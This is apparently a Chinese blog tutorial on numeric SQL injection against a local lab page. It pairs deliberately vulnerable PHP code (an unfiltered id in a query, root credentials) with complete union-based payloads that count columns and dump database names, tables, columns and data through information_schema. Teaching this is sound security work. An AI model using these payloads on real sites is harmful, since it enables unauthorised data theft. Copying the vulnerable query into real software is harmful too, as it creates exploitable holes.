小伙伴们大家好!本期为大家带来的是SQL注入原理-数值型注入的讲解!
目录
SQL注入原理
数值型注入
编辑
1、测试是否存在注入点
2、判断字段个数
3、找出可以回显的字段
4、查询数据库的信息
1.查看当前的数据库
2.查看当前数据库的用户
3.查看数据库的版本
4.查看所有的数据库名
5.查看数据库下的所有表名
6.查询表中所有的字段
7.查询表中的数据
总结
SQL注入原理
SQL注入的原理是由于后端没有对前端用户输入的数据进行检验与过滤,导致用户输入的SQL语句传入到后端,被后端执行。
数值型注入
数值型注入顾名思义就是我们前端传入后端的参数是一个数值,比如id值。
比如后端需要根据前端传来的id值进行数据库查询并把结果传给前端进行展示。
源代码:
<?php
// 连接数据库
$coon = mysqli_connect("127.0.0.1","root","root","test",3306);
error_reporting(0);
if (isset($_GET['id'])) {
// 接受传来的参数id
$id = $_GET['id'];
// 执行的SQL语句
$sql = "select * from users where id=$id limit 0,1";
$res = mysqli_query($coon, $sql);
$row = mysqli_fetch_array($res);
if ($res) {
echo "<center></br>";
echo "<h1>"."username:".$row['username']."</h1>"."<br/>";
echo "<h1>"."password:".$row['password']."</h1>"."<br/>";
echo "</center>";
}else{
echo "<center></br>";
echo "<h1>";
print_r(mysqli_error($coon));
echo "</h1></center>";
}
} else {
echo "<center>";
echo "<h1>Please input a value as id!</h1>";
echo "</center>";
}
![](https://img-blog.csdnimg.cn/d23db27023684d8ea2a0729fce1e0b97.png)
1、测试是否存在注入点
这里我们可以直接传入?id=1,即可得到users表下id=1的数据。
![](https://img-blog.csdnimg.cn/a082cdd8b5ab465c955ee8d8b2808d49.png)
由于id值是由用户输入的,那我们就可以构造恶意的SQL语句来查询其他的数据。
例如我们输入?id=1 and 1=2
http://127.0.0.1/opsql/sql02.php?id=1 and 1=2
![](https://img-blog.csdnimg.cn/4dcdcd476e234b688aac9eed94c6e334.png)
前端什么都没有显示,这就是因为我们输入的“and 1=2”也被传入到了后端,被当成SQL语句去执行,而 1=2 是错误的,所以前端不会显示数据。
![](https://img-blog.csdnimg.cn/1b45806017ba4dde85ca3957390c956d.png)
当我们输入?id=1 and 1=1 时,页面就能正常回显users表下id值为1 的数据了。
![](https://img-blog.csdnimg.cn/cabc899dc9c3476ea7167769dac17c7b.png)
这样即可证明一个网站是否存在SQL注入点。说明后端没有对我们输入的id值进行检验与过滤,使得我们构造的SQL语句被得到了执行。
2、判断字段个数
接下来,我们就是来判断后端在数据库查询时,总共查询了几个字段的数据。
我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。
我们直接构造id值为“?id=1 order by 3”
http://127.0.0.1/opsql/sql02.php?id=1 order by 3
order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。
![](https://img-blog.csdnimg.cn/7cd9b1ae0bbd4d08864712f451020858.png)
![](https://img-blog.csdnimg.cn/638391feca8c4183b41a000a6fe76fbe.png)
可以看到,当order by 3时页面正常回显,而当order by 4时页面报错“Unknown column '4' in 'order clause'”。
说明后端数据库查询语句查询的字段数为3个。返回上面查看源代码查询的字段数确实是3个。
3、找出可以回显的字段
构造id值“?id=1 union select 1,2,3”
http://127.0.0.1/opsql/sql02.php?id=1 union select 1,2,3
![](https://img-blog.csdnimg.cn/5fd008db23614850b3492f228d5f8085.png)
发现没有显示1,2,3。这是为什么呢?因为后端正常查询了id=1的数据并且前端只显示一条数据的信息。想要得到1,2,3分别能在哪里显示,就必须让后端的查询语句查不到结果,即:让id值为负或者在id=1后添加一个条件“and 1=2”。
![](https://img-blog.csdnimg.cn/0350f8b859d14b2ab597b4f4231528e9.png)
这里可以查询的字段,只有第二个跟第三个字段能在前端页面显示。
4、查询数据库的信息
1.查看当前的数据库
构造id值“?id=-1 union select 1,database(),3”
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,database(),3
![](https://img-blog.csdnimg.cn/6eb54f50346044b0b9c2a5518f42c19a.png)
可以看到当前数据库名为test数据库。
2.查看当前数据库的用户
构造id值“?id=-1 union select 1,user(),3”
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,user(),3
![](https://img-blog.csdnimg.cn/f52220a626d74708886d7a02cefd8717.png)
3.查看数据库的版本
构造id值“?id=-1 union select 1,version(),3”
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,version(),3
![](https://img-blog.csdnimg.cn/b4e88dbc88644d1db304a32352aa4d69.png)
4.查看所有的数据库名
构造id值“?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata”
因为前端只显示一条数据,而我们想要得到所有的结果就要使用group_concat()函数,group_concat() 可以将我们查询到的数据用“,”拼接起来。
information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
![](https://img-blog.csdnimg.cn/bf3aa021277d4eb582c71e073c04c9bc.png)
5.查看数据库下的所有表名
构造id值“?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'”
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='study'
![](https://img-blog.csdnimg.cn/e8060bd4169f42389121dd8d3f5d00c1.png)
6.查询表中所有的字段
构造id值“?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'”
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='study' and table_name='student'
![](https://img-blog.csdnimg.cn/8881593bffac4544a5b9b5f2d4aa8b49.png)
7.查询表中的数据
构造id值“?id=-1 union select 1,group_concat(name),group_concat(age) from study.student”
http://127.0.0.1/opsql/sql02.php?id=-1 union select 1,group_concat(name),group_concat(age) from study.student
![](https://img-blog.csdnimg.cn/3b17ca721c4f434aa46bc9bc69cad0d4.png)
这样我们就查到了study数据库下student表中的数据信息。
总结
数值型注入的基本流程为:
先使用and1=2的条件观察页面是否正常回显,如果正常回显则存在注入点,接下开始用order by 来判断后端SQL语句查询字段个数,再检测哪个字段可以被前端页面回显,之后就可以爆数据库、表、字段了,爆出字段就可以直接获取数据了!